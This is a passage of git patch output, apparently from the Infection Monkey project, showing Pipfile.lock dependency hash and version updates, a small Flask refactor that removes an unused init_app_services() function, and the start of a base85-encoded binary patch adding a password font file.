"sha256:1ace23f6bb4aec4604b86c4843276e8fa548d667dbbd0cb83a3ae14b18b2db6c", + "sha256:2efa963bdddb27cb4a0d42545cd137a8d2b883bd181bbc4525b568ef6eca258f", + "sha256:2f6ac8c87e046dc18c7d1d7f6653a66787a4555085b056fe2d599f1f1a2a2d21", + "sha256:3ae4c7a99e5153496243146a3baf33b9beff714464ca386b5f62daad601d87af", + "sha256:3cfad08f16a9c6611e6143485a93de0e1e13f48cfb90bcad7d5fde1c0cec3d36", + "sha256:4e5175026618c178dfba6188228b845b64131034ab3ba52acaffa8f6c361f805", + "sha256:50979d5efff8d4135d9db293c6cb2c42260e70fb010cbc697b1311a4d7a39ddb", + "sha256:5cd187d92b6939617f1168a4fe68f68add749902c010e66fe574c165c742ed88", + "sha256:5cfca124f0ac6707747544c127880893ad72a656e136adc935c8600740b21ff5", + "sha256:5e398652d005a198a7f3c132426b33c6b85d98aa7dc852137a2a3be8890c4072", + "sha256:67cced7f15654710386e5c10b96608f1ee3d5c94ca1da5a2aad5889793a824c1", + "sha256:7306edca1c6f1b5fa0bc9aa645e6ac8393014fa82d0fa180d0ebc990ebe15964", + "sha256:7cc2c01dfc5a3cbddfa6c13f530ef3b95292f926329929001d45e124342cd6b7", + "sha256:87edfaf344c9401942883fad030909116aa77b0fa7e6e8e1c5407e14549afe9a", + "sha256:8845125d0b7c57838a10fd8925b0f5f709d0e08568ce587cc862aacce453e3dd", + "sha256:92024447a339400ea00ac228369cd242e988dd775640755fa4ac0c126e49bb74", + "sha256:a86b794e8a56ada65c573183756eac8ac5b8d3d59daf9d5ebd72ecdbb7867a43", + "sha256:bb2782a036d9eb6b5a6efcdda0986774bf798beef86a62da86cb73e2a10b423d", + "sha256:be78077064d016bc1b639c2cbcc5be945b47b4261a4f4b7d8923f6c69c5c9457", + "sha256:c7cf862aef988b5fbaa17764ad1d21b4831436701c7d2b653156a9497d92c83c", + "sha256:e0626db16705ab9f7fa6c249c017c887baf20738ce7f9129da162bb3075fc1af", + "sha256:f34495079c8d9da05b183f9f7daec2878280c2ad7cc81da686ef0b484cea2ecf", + "sha256:fe523fcbd52c05040c7bee370d66fee8373c5972171e4fbc323153433198592d" ], "index": "pypi", - "version": "==0.991" + "version": "==1.0.0" }, "mypy-extensions": { "hashes": [ - "sha256:090fedd75945a69ae91ce1303b5824f428daf5a028d2f6ab8a299250a846f15d", - "sha256:2d82818f5bb3e369420cb3c4060a7970edba416647068eb4c5343488a6c604a8" + "sha256:4392f6c0eb8a5668a69e23d168ffa70f0be9ccfd32b5cc2d26a34ae5b844552d", + "sha256:75dbf8955dc00442a438fc4d0666508a9a97b6bd41aa2f0ffe9d2f2725af0782" ], - "version": "==0.4.3" + "markers": "python_version >= '3.5'", + "version": "==1.0.0" }, "packaging": { "hashes": [ - "sha256:dd47c42927d89ab911e606518907cc2d3a1f38bbd026385970643f9c5b8ecfeb", - "sha256:ef103e05f519cdc783ae24ea4e2e0f508a9c99b2d4969652eed6a2e1ea5bd522" + "sha256:714ac14496c3e68c99c29b00845f7a2b85f3bb6f1078fd9f72fd20f0570002b2", + "sha256:b6ad297f8907de0fa2fe1ccbd26fdaf387f5f47c7275fedf8cce89f99446cf97" ], - "markers": "python_version >= '3.6'", - "version": "==21.3" + "markers": "python_version >= '3.7'", + "version": "==23.0" }, "pathspec": { "hashes": [ - "sha256:88c2606f2c1e818b978540f73ecc908e13999c6c3a383daf3705652ae79807a5", - "sha256:8f6bf73e5758fd365ef5d58ce09ac7c27d2833a8d7da51712eac6e27e35141b0" + "sha256:3a66eb970cbac598f9e5ccb5b2cf58930cd8e3ed86d393d541eaf2d8b1705229", + "sha256:64d338d4e0914e91c1792321e6907b5a593f1ab1851de7fc269557a21b30ebbc" ], "markers": "python_version >= '3.7'", - "version": "==0.10.2" + "version": "==0.11.0" }, "platformdirs": { "hashes": [ - "sha256:1006647646d80f16130f052404c6b901e80ee4ed6bef6792e1f238a8969106f7", - "sha256:af0276409f9a02373d540bf8480021a048711d572745aef4b7842dad245eba10" + "sha256:83c8f6d04389165de7c9b6f0c682439697887bca0aa2f1c87ef1826be3584490", + "sha256:e1fea1fe471b9ff8332e229df3cb7de4f53eeea4998d3b6bfff542115e998bd2" ], "markers": "python_version >= '3.7'", - "version": "==2.5.4" + "version": "==2.6.2" }, "pluggy": { "hashes": [ @@ -1411,27 +1586,19 @@ }, "pygments": { "hashes": [ - "sha256:56a8508ae95f98e2b9bdf93a6be5ae3f7d8af858b43e02c5a2ff083726be40c1", - "sha256:f643f331ab57ba3c9d89212ee4a2dabc6e94f117cf4eefde99a0574720d14c42" + "sha256:b3ed06a9e8ac9a9aae5a6f5dbe78a8a58655d17b43b93c078f094ddc476ae297", + "sha256:fa7bd7bd2771287c0de303af8bfdfc731f51bd2c6a47ab69d117138893b82717" ], "markers": "python_version >= '3.6'", - "version": "==2.13.0" - }, - "pyparsing": { - "hashes": [ - "sha256:2b020ecf7d21b687f219b71ecad3631f644a47f01403fa1d1036b0c6416d70fb", - "sha256:5026bae9a10eeaefb61dab2f09052b9f4307d44aee4eda64b309723d8d206bbc" - ], - "markers": "python_full_version >= '3.6.8'", - "version": "==3.0.9" + "version": "==2.14.0" }, "pytest": { "hashes": [ - "sha256:892f933d339f068883b6fd5a459f03d85bfcb355e4981e146d2c7616c21fef71", - "sha256:c4014eb40e10f11f355ad4e3c2fb2c6c6d1919c73f3b5a433de4708202cade59" + "sha256:c7c6ca206e93355074ae32f7403e8ea12163b1163c976fee7d4d84027c162be5", + "sha256:d45e0952f3727241918b8fd0f376f5ff6b301cc0777c6f9a556935c92d8a7d42" ], "index": "pypi", - "version": "==7.2.0" + "version": "==7.2.1" }, "pytest-cov": { "hashes": [ @@ -1443,18 +1610,18 @@ }, "pytz": { "hashes": [ - "sha256:222439474e9c98fced559f1709d89e6c9cbf8d79c794ff3eb9f8800064291427", - "sha256:e89512406b793ca39f5971bc999cc538ce125c0e51c27941bef4568b460095e2" + "sha256:01a0681c4b9684a28304615eba55d1ab31ae00bf68ec157ec3708a8182dbbcd0", + "sha256:78f4f37d8198e0627c5f1143240bb0206b8691d8d7ac6d78fee88b78733f8c4a" ], - "version": "==2022.6" + "version": "==2022.7.1" }, "requests": { "hashes": [ - "sha256:7c5599b102feddaa661c826c56ab4fee28bfd17f5abca1ebbe3e7f19d7c97983", - "sha256:8fefa2a1a1365bf5520aac41836fbee479da67864514bdb821f31ce07ce65349" + "sha256:64299f4909223da747622c030b781c0d7811e359c37124b4bd368fb8c6518baa", + "sha256:98b1b2782e3c6c4904938b84c0eb932721069dfdb9134313beff7c83c2df24bf" ], "index": "pypi", - "version": "==2.28.1" + "version": "==2.28.2" }, "requests-mock": { "hashes": [ @@ -1470,14 +1637,6 @@ ], "version": "==1.0.0" }, - "setuptools": { - "hashes": [ - "sha256:6211d2f5eddad8757bd0484923ca7c0a6302ebc4ab32ea5e94357176e0ca0840", - "sha256:d1eebf881c6114e51df1664bc2c9133d022f78d12d5f4f665b9191f084e2862d" - ], - "markers": "python_version >= '3.7'", - "version": "==65.6.0" - }, "six": { "hashes": [ "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926", @@ -1511,11 +1670,11 @@ }, "sphinx-rtd-theme": { "hashes": [ - "sha256:31faa07d3e97c8955637fc3f1423a5ab2c44b74b8cc558a51498c202ce5cbda7", - "sha256:6146c845f1e1947b3c3dd4432c28998a1693ccc742b4f9ad7c63129f0757c103" + "sha256:a0d8bd1a2ed52e0b338cbe19c4b2eef3c5e7a048769753dac6a9f059c7b641b8", + "sha256:f823f7e71890abe0ac6aaa6013361ea2696fc8d3e1fa798f463e82bdb77eeff2" ], "index": "pypi", - "version": "==1.1.1" + "version": "==1.2.0" }, "sphinxcontrib-applehelp": { "hashes": [ @@ -1541,6 +1700,14 @@ "markers": "python_version >= '3.6'", "version": "==2.0.0" }, + "sphinxcontrib-jquery": { + "hashes": [ + "sha256:8fb65f6dba84bf7bcd1aea1f02ab3955ac34611d838bcc95d4983b805b234daa", + "sha256:ed47fa425c338ffebe3c37e1cdb56e30eb806116b85f01055b158c7057fdb995" + ], + "markers": "python_version >= '3.1'", + "version": "==2.0.0" + }, "sphinxcontrib-jsmath": { "hashes": [ "sha256:2ec2eaebfb78f3f2078e73666b1415417a116cc848b72e5172e596c871103178", @@ -1621,27 +1788,27 @@ }, "types-python-dateutil": { "hashes": [ - "sha256:351a8ca9afd4aea662f87c1724d2e1ae59f9f5f99691be3b3b11d2393cd3aaa1", - "sha256:722a55be8e2eeff749c3e166e7895b0e2f4d29ab4921c0cff27aa6b997d7ee2e" + "sha256:4a6f4cc19ce4ba1a08670871e297bf3802f55d4f129e6aa2443f540b6cf803d2", + "sha256:cfb7d31021c6bce6f3362c69af6e3abb48fe3e08854f02487e844ff910deec2a" ], "index": "pypi", - "version": "==2.8.19.4" + "version": "==2.8.19.6" }, "types-pytz": { "hashes": [ - "sha256:bea605ce5d5a5d52a8e1afd7656c9b42476e18a0f888de6be91587355313ddf4", - "sha256:d078196374d1277e9f9984d49373ea043cf2c64d5d5c491fbc86c258557bd46f" + "sha256:10ec7d009a02340f1cecd654ac03f0c29b6088a03b63d164401fc52df45936b2", + "sha256:918f9c3e7a950ba7e7d6f84b18a7cacabc8886cb7125fb1927ff1c752b4b59de" ], "index": "pypi", - "version": "==2022.6.0.1" + "version": "==2022.7.1.0" }, "types-pyyaml": { "hashes": [ - "sha256:1e94e80aafee07a7e798addb2a320e32956a373f376655128ae20637adb2655b", - "sha256:6840819871c92deebe6a2067fb800c11b8a063632eb4e3e755914e7ab3604e83" + "sha256:24e76b938d58e68645271eeb149af6022d1da99788e481f959bd284b164f39a1", + "sha256:77b74d0874482f2b42dd566b7277b0a220068595e0fb42689d0c0560f3d1ae9e" ], "index": "pypi", - "version": "==6.0.12.2" + "version": "==6.0.12.6" }, "typing-extensions": { "hashes": [ @@ -1653,11 +1820,11 @@ }, "urllib3": { "hashes": [ - "sha256:3fa96cf423e6987997fc326ae8df396db2a8b7c667747d47ddd8ecba91f4a74e", - "sha256:b930dd878d5a8afb066a637fbb35144fe7901e3b209d1cd4f524bd0e9deee997" + "sha256:076907bf8fd355cde77728471316625a4d2f7e713c125f51953bb5b3eecf4f72", + "sha256:75edcdc2f7d85b137124a6c3c9fc3933cdeaa12ecb9a6a959f22797a0feca7e1" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5' and python_version < '4'", - "version": "==1.26.12" + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", + "version": "==1.26.14" }, "virtualenv": { "hashes": [ @@ -1677,11 +1844,11 @@ }, "zipp": { "hashes": [ - "sha256:4fcb6f278987a6605757302a6e40e896257570d11c51628968ccb2a47e80c6c1", - "sha256:7a7262fd930bd3e36c50b9a64897aec3fafff3dfdeec9623ae22b40e93f99bb8" + "sha256:23f70e964bc11a34cef175bc90ba2914e1e4545ea1e3e2f67c079671883f9cb6", + "sha256:e8b2a36ea17df80ffe9e2c4fda3f693c3dad6df1697d3cd3af232db680950b0b" ], "markers": "python_version >= '3.7'", - "version": "==3.10.0" + "version": "==3.13.0" } } } From fee6a9bf94c1dc6dd201dc59e778d26a971b37b0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Feb 2023 12:41:23 -0500 Subject: [PATCH 0042/1338] Island: Remove disused init_app_services() --- monkey/monkey_island/cc/app.py | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index f665d2ee46b..59b32422056 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -86,10 +86,6 @@ def init_app_config(app, mongo_url): app.url_map.strict_slashes = False -def init_app_services(app): - init_jwt(app) - - def init_app_url_rules(app): app.add_url_rule("/", "serve_home", serve_home) app.add_url_rule("/", "serve_static_file", serve_static_file) @@ -196,7 +192,7 @@ def init_app(mongo_url: str, container: DIContainer): api.representations = {"application/json": output_json} init_app_config(app, mongo_url) - init_app_services(app) + init_jwt(app) init_app_url_rules(app) flask_resource_manager = FlaskDIWrapper(api, container) From 1af6ca47d23696fca091d27d5003c66fb2fc7e80 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Feb 2023 13:31:46 +0100 Subject: [PATCH 0043/1338] UI: Add custom password font --- .../cc/ui/src/styles/external/password.ttf | Bin 0 -> 127740 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/styles/external/password.ttf diff --git a/monkey/monkey_island/cc/ui/src/styles/external/password.ttf b/monkey/monkey_island/cc/ui/src/styles/external/password.ttf new file mode 100644 index 0000000000000000000000000000000000000000..7c84d3dd422871ce74c882dce6285b91736fe21b GIT binary patch literal 127740 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 